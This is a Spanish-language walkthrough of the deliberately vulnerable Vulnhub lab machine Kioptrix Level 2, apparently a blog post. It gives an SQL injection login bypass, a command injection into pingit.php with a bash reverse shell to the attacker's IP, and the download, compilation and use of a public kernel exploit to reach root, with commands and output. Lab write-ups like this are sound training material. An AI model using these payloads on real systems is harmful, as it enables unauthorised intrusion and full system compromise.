Writeup de la máquina Kioptrix Level 2


Libro con gafas y lampara Siguiendo con los writeups de las máquinas Kioptrix, en este caso vamos a hablar de la VM de nivel 2. La máquina está marcada como fácil cómo la primera.

Arrancar VM

Para descargar la máquina la podemos encontrar en Vulnhub: https://download.vulnhub.com/kioptrix/archive/Kioptrix_Level_2-original.rar En mi caso arranqué la máquina en VMWare Workstation.

Al encenderla encontraremos el siguiente login. Login de Kioptrix 2

Utilizar VM de root-me.org

Si no tenemos ganas de descargarnos la máquina o simplemente no podemos tenemos la opción de utilizar las máquinas de https://root-me.org. La Kioptrix level 2 la tenemos en la lista.

Encontrar la IP

Para encontrar la IP dentro de nuestra red podemos utiliza la herramienta nmap o netdiscover. En nuestro caso utilizaremos netdiscover:

netdiscover

Netdiscover

En mi caso la IP que tiene asignada la máquina es la 192.168.0.167.

Realizar escaneado

Realizaremos un escaneado de los puertos para ver los servicios que se peuden encontrar:

nmap -PN -p- 192.168.0.167

El resultado:

Nmap

Podemos ver que existen varios servicios, al revisar uno por uno vemos que lo más interesante lo encontramos en el puerto 80, protocolo tcp/ip y HTTP.

Login web

Al entrar en la ruta http://192.168.0.167 nos salta un login:

Login web

Lo primero que nos viene a la cabeza es hacer un bypass con un sql injection:

SQLi Login web

El nivel es bastante fácil, con la primera fórmula de SQLi para bypasear el login funciona perfectamente, introduciendo el siguiente parámetro en el usuario:

admin' or 1=1-- -

Conseguir la Shell

Tras bypassear el login vemos que nos encontramos con un panel de administración:

Panel administración web

Según el texto parece que es posible hacer un ping a una máquina, sin embargo no aparece ningún formulario, para saber que está ocurriendo revisarmos el código de la web:

Panel administración web codigo

Tras ver el código vemos que el navegador no interpreta correctamente el código y se rompe el formulario, por suerte tenemos el código y la petición que necesitamos para poder enviar los datos a la web. Para ello utilizaremos la herramienta curl, finalmente motnamos la siguiente petición: Curl formulario

Como podemos ver nos muestra el resultado de un ping, esto es un indicio de que aquí podremos encontrar un Command Injection, para comprobarlo podemos hacer un sleep o simplemente originar un error en la petición.

Una vez sabemos que tenemos un Command Injection vamos a crearnos una shell inversa para poder interactuar con el servidor.

Ponemos a la escucha un netcat en nuestra máquina, ya sea un Kali o cualquier otro sistema. En mi caso la IP de mi máquina de ataque es 192.168.0.179.

netcat

Dejamos el nectat escuchando y nos movemos a la máquina Kioptrix, como ya tenemos la IP y el puerto de la shell vamos a lanzar el comando para hacer la shell inversa en el formulario web.

curl http://192.168.0.167/pingit.php -d "ip=127.0.0.1%3B%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.179%2F4444%200%3E%261&submit=submit"

Como podemos ver el comando que nos dará la shell está encodeado. El comando sin encodear sería el siguiente:

127.0.0.1; bash -i >& /dev/tcp/192.168.0.179/4444 0>&1

Al ejecutar el curl veremos que no se cierra, lo dejaremos en ejecución y volveremos al netcat ejecutado en al máquina del atacante. En el podremos ver lo siguiente:

listening on [any] 4444 ...
192.168.0.167: inverse host lookup failed: Unknown host
connect to [192.168.0.179] from (UNKNOWN) [192.168.0.167] 32773
bash: no job control in this shell
bash-3.00$

Ya estaremos dentro, si ejecutamos el comando whoami veremos que somos el usuario apache:

whoami
apache
bash-3.00$

Escalada de privilegios

Para ayudarnos con el exploit local que deberemos utilizar para realizar la escalada de privilegios utilizaremos la siguiente herramienta https://github.com/jondonas/linux-exploit-suggester-2. Intentatamos descargarla en nuestra shell del Kioptrix:

Primero nos moveremos a un directorio con permisos de escritura para nuestro usuario, en este caso /dev/shm:

bash-3.00$ cd /dev/shm
bash-3.00$

Ahora descargaremos el script:

bash-3.00$ wget --no-check-certificate https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
--04:50:36--  https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
           => `linux-exploit-suggester-2'
Resolving github.com... 140.82.121.3
Connecting to github.com|140.82.121.3|:443... connected.
OpenSSL: error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version
Unable to establish SSL connection.
bash-3.00$

Sin embargo podemos ver que da error de conexión, esto es debido a que nuestra versión de wget hace la petición con un protocolo de cifrado antiguo, no pasa nada, en estos casos podemos hacer uso de otro canal.

Vamos a descargarnos a nuestra máquina de ataque el exploit para luego descargarlo a la máquina Kiotrix. Primero de todo descargaremos el script en nuestra máquina atacante:

root@kali:~/ctfs/vulnhub/kioptrix/level_2/exploits# wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
--2020-12-19 13:02:16--  https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.64.133, 151.101.128.133, 151.101.192.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.64.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24783 (24K) [text/plain]
Saving to: ‘linux-exploit-suggester-2.pl’

linux-exploit-suggester-2.pl                                100%[=========================================================================================================================================>]  24.20K  --.-KB/s    in 0.001s  

2020-12-19 13:02:16 (16.1 MB/s) - ‘linux-exploit-suggester-2.pl’ saved [24783/24783]

En este punto tendremos descargado el script, ahora iniciaremos un servicio web muy sencillo con python para poder conectarnos desde la máquina Kioptrix:

root@kali:~/ctfs/vulnhub/kioptrix/level_2/exploits# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

En este punto dejaremos el servicio funcionando y nos iremos a nuestra shell en el Kioptrix, executaremos el wget pero esta vez apuntando a la IP de nuestra máquina atacante:

bash-3.00$ wget http://192.168.0.179:8000/linux-exploit-suggester-2.pl
--04:53:35--  http://192.168.0.179:8000/linux-exploit-suggester-2.pl
           => `linux-exploit-suggester-2.pl'
Connecting to 192.168.0.179:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24,783 (24K) [text/x-perl]

    0K .......... .......... ....                            100%    5.29 MB/s

04:53:35 (5.29 MB/s) - `linux-exploit-suggester-2.pl' saved [24783/24783]

Bingo! ahora si ya tenemos el script en la máquina que queremos. Cambiamos permisos y ejecutamos:

bash-3.00$ chmod +x linux-exploit-suggester-2.pl

En la ejecución nos va a mostrar distintas opciones de exploits para escalar privilegios:

Linux Exploit Suggester 2

Después de probar distintos exploits llegamos al que finalmente si que nos funciona. El exploit "udp_sendmsg_32bit", nos lo descargamos en la máquina Kioptrix:

bash-3.00$ wget --no-check-certificate https://raw.githubusercontent.com/1N3/PrivEsc/master/linux/linux_exploits/36108.c
--04:54:40--  https://raw.githubusercontent.com/1N3/PrivEsc/master/linux/linux_exploits/36108.c
           => `36108.c'
Resolving raw.githubusercontent.com... 151.101.128.133, 151.101.192.133, 151.101.0.133, ...
Connecting to raw.githubusercontent.com|151.101.128.133|:443... connected.
WARNING: Certificate verification error for raw.githubusercontent.com: unable to get local issuer certificate
WARNING: certificate common name `www.github.com' doesn't match requested host name `raw.githubusercontent.com'.
HTTP request sent, awaiting response... 200 OK
Length: 2,507 (2.4K) [text/plain]

    0K ..                                                    100%    1.10 MB/s

04:54:41 (1.10 MB/s) - `36108.c' saved [2507/2507]

En este caso si que nos dejó conectar. Compilamos:

bash-3.00$ gcc 36108.c -o 36108  
bash-3.00$

Y ejecutamos:

bash-3.00$ ./36108
sh: no job control in this shell

Y finalmente comprobamos que estamos como usuario root:

sh-3.00# whoami
root
sh-3.00#

Con esto hemos podido ver que ya tenemos acceso con el usuario root :)